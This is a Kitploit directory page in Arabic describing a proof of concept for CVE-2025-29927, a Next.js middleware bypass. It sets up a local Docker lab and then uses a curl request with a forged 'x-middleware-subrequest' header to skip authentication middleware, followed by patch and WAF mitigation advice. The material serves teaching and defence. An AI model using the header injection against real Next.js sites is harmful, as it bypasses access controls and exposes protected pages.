Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-29927-Nextjs-Bypass-PoC — إثبات مفهوم لثغرة CVE-2025-29927 يوضح تجاوز البرمجيات الوسيطة في إصدارات Next.js الأقدم من 13.5.9 | Kitploit
أدوات/GitHubGitHub/danielhallbro/cve-2025-29927-nextjs-bypass-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالتعلم والتعليم
GitHubdanielhallbro/cve-2025-29927-nextjs-bypass-poc

CVE-2025-29927-Nextjs-Bypass-PoC

إثبات مفهوم لثغرة CVE-2025-29927 يوضح تجاوز البرمجيات الوسيطة في إصدارات Next.js الأقدم من 13.5.9

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 6 أشهرلم تتم المراجعة بعد

PoC: CVE-2025-29927 - تجاوز الوسيط في Next.js

يحتوي هذا المستودع على إثبات مفهوم (PoC) يوضح كيفية تجاوز فحوصات أمان الوسيط (Middleware) في Next.js (v13.5.6) من خلال استغلال ثغرة مرتبطة بترويسات HTTP الداخلية.


نظرة عامة على الثغرة: CVE-2025-29927

ما هي الثغرة؟

CVE-2025-29927 هي ثغرة تجاوز الوسيط (Middleware Bypass) تم اكتشافها في إصدارات Next.js 1.11.4 وما قبل الإصدارات 12.3.5 و13.5.9 و14.2.25 و15.2.3. وهي تسمح لمهاجم خارجي بتجاوز منطق الأمان — مثل المصادقة، أو كشف الروبوتات، أو عمليات إعادة التوجيه المستندة إلى الموقع الجغرافي — الذي قام المطور بتنفيذه في ملف middleware.ts الخاص به.

السبب الجذري: الثقة في الترويسات

تستخدم Next.js ترويسات HTTP داخلية للتواصل بين طبقاتها المعمارية المختلفة. أحد هذه الترويسات هو x-middleware-subrequest.

تكمن الثغرة في أن الإصدارات المتأثرة من Next.js تثق بهذه الترويسة حتى عندما يتم إرسالها من عميل خارجي (مثل المتصفح أو curl). عندما يرى الخادم هذه الترويسة، يفترض أن الطلب قد تمت معالجته بالفعل و"اجتيازه" بواسطة الوسيط، وبالتالي يتخطى تنفيذ كود الأمان الخاص بك بالكامل.

التأثير

  • تجاوز المصادقة: إذا كان تطبيقك يعتمد على الوسيط للتحقق من رموز تسجيل الدخول، يمكن للمهاجم تجاوز هذا الفحص للوصول إلى الصفحات المحمية.
  • التهرب من مرشحات الأمان: يتم تجاهل أي منطق مخصص لحظر عناوين IP الخبيثة أو وكلاء المستخدم.
  • كشف المعلومات: الوصول إلى المسارات الداخلية التي يجب أن تكون مقيدة.

إعداد البيئة

تعمل بيئة الاختبار داخل حاوية Docker Node:18-alpine لضمان بيئة نظيفة وقابلة لإعادة الإنتاج.


الخطوة 1 – إنشاء الحاوية

نبدأ بتشغيل حاوية مسماة في الخلفية. نستخدم sleep infinity لإبقاء الحاوية نشطة أثناء الإعداد.

واجهت في البداية بعض المشكلات عند إعادة تشغيل الحاوية في مراحل لاحقة، ولهذا قررت استخدام sleep infinity.

root@kitploit:~
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
الخطوة 1

الخطوة 2 – تثبيت Next.js 13.5.6

نقوم بتثبيت الإصدار المصاب المحدد من Next.js. لاحظ أنه على الرغم من العلم --src-dir false، فإن إطار العمل ينشئ مجلد src، وهو المكان الذي يجب أن نضع فيه الوسيط الخاص بنا ليكون نشطًا.

root@kitploit:~
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
الخطوة 2.1
الخطوة 2.2

الخطوة 3 – إنشاء "البوابة الأمنية" (الوسيط)

لمحاكاة حاجز أمان، نقوم بإنشاء ملف middleware.ts. تم إعداد هذا الوسيط لحظر جميع الطلبات الواردة برمز حالة 401 Unauthorized.

root@kitploit:~
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh

# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
الخطوة 3

الخطوة 4 – تشغيل الخادم

قم بتشغيل خادم التطوير وانتظر إشارة ✓ Ready في وحدة التحكم.

root@kitploit:~
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
الخطوة 4

الخطوة 5 – التحقق والاستغلال

افتح نافذة طرفية جديدة (لا تغلق الطرفية السابقة) على جهازك المضيف لاختبار البيئة باستخدام curl.

1. الطلب العادي (محظور)

يتم التقاط الطلب القياسي بدون ترويسات معدلة وحظره بشكل صحيح بواسطة الوسيط الخاص بنا.

root@kitploit:~
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized

2. التجاوز عبر CVE-2025-29927 (الاستغلال)

من خلال حقن الترويسة الداخلية x-middleware-subrequest: src/middleware، نخدع Next.js ليعتقد أن الطلب قد تم التحقق منه بالفعل بواسطة عملية داخلية. يتخطى الخادم تنفيذ الوسيط ويمنح وصولًا كاملًا.

root@kitploit:~
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
الخطوة 5

التخفيف

لحماية تطبيقك من CVE-2025-29927، يجب ترقية Next.js إلى الإصدار المصحح المطابق لإصدارك الرئيسي الحالي:

1. التحديثات الموصى بها

تم حل الثغرة في الإصدارات التالية. تأكد من أن ملف package.json لديك يعكس هذه الإصدارات على الأقل:

  • Next.js 15: قم بالترقية إلى 15.2.3 أو أحدث.
  • Next.js 14: قم بالترقية إلى 14.2.25 أو أحدث.
  • Next.js 13: قم بالترقية إلى 13.5.9 أو أحدث (الإصدار المستخدم في إثبات المفهوم هذا).
  • Next.js 12: قم بالترقية إلى 12.3.5 أو أحدث.
root@kitploit:~
# Example for updating to the latest patched version
npm install next@latest

2. الدفاع على مستوى البنية التحتية

إذا لم تكن الترقية الفورية ممكنة، فيجب عليك تكوين جدار حماية تطبيقات الويب (WAF) أو الخادم الوسيط العكسي (مثل Nginx أو Cloudflare أو Varnish) لـ إزالة أو إسقاط الترويسة x-middleware-subrequest من جميع الطلبات الخارجية الواردة قبل وصولها إلى خادم تطبيق Next.js.

3. التحقق

بعد الترقية، يمكنك التحقق من الإصلاح عن طريق إعادة تنفيذ أمر الاستغلال من الخطوة 5. لن يمنح الخادم المصحح استجابة 200 OK بعد الآن عند وجود الترويسة المزيفة.


الخلاصة

توجد هذه الثغرة لأن Next.js تثق في ترويسات جانب العميل لتحديد الطلبات الفرعية الداخلية. للتخفيف من ذلك، يجب تحديث Next.js إلى إصدار يقوم بالتحقق من هذه الترويسات الداخلية أو بتجريدها بشكل صحيح من حركة المرور الواردة الخارجية.

إخلاء مسؤولية: إثبات المفهوم هذا لأغراض تعليمية فقط.

المراجع

  • الإدخال الرسمي في NVD: تفاصيل CVE-2025-29927 - يؤكد الإصدارات المتأثرة 13.5.1 حتى 13.5.8 والإصلاح في 13.5.9.
  • استشارة أمان GitHub: GHSA-65p9-6799-7872 - الاستشارة الأصلية المتعلقة بتجاوز الوسيط.
  • إصدارات أمان Next.js: مدونة Next.js - الإعلان الرسمي عن التصحيحات الأمنية.
تنزيل الأداة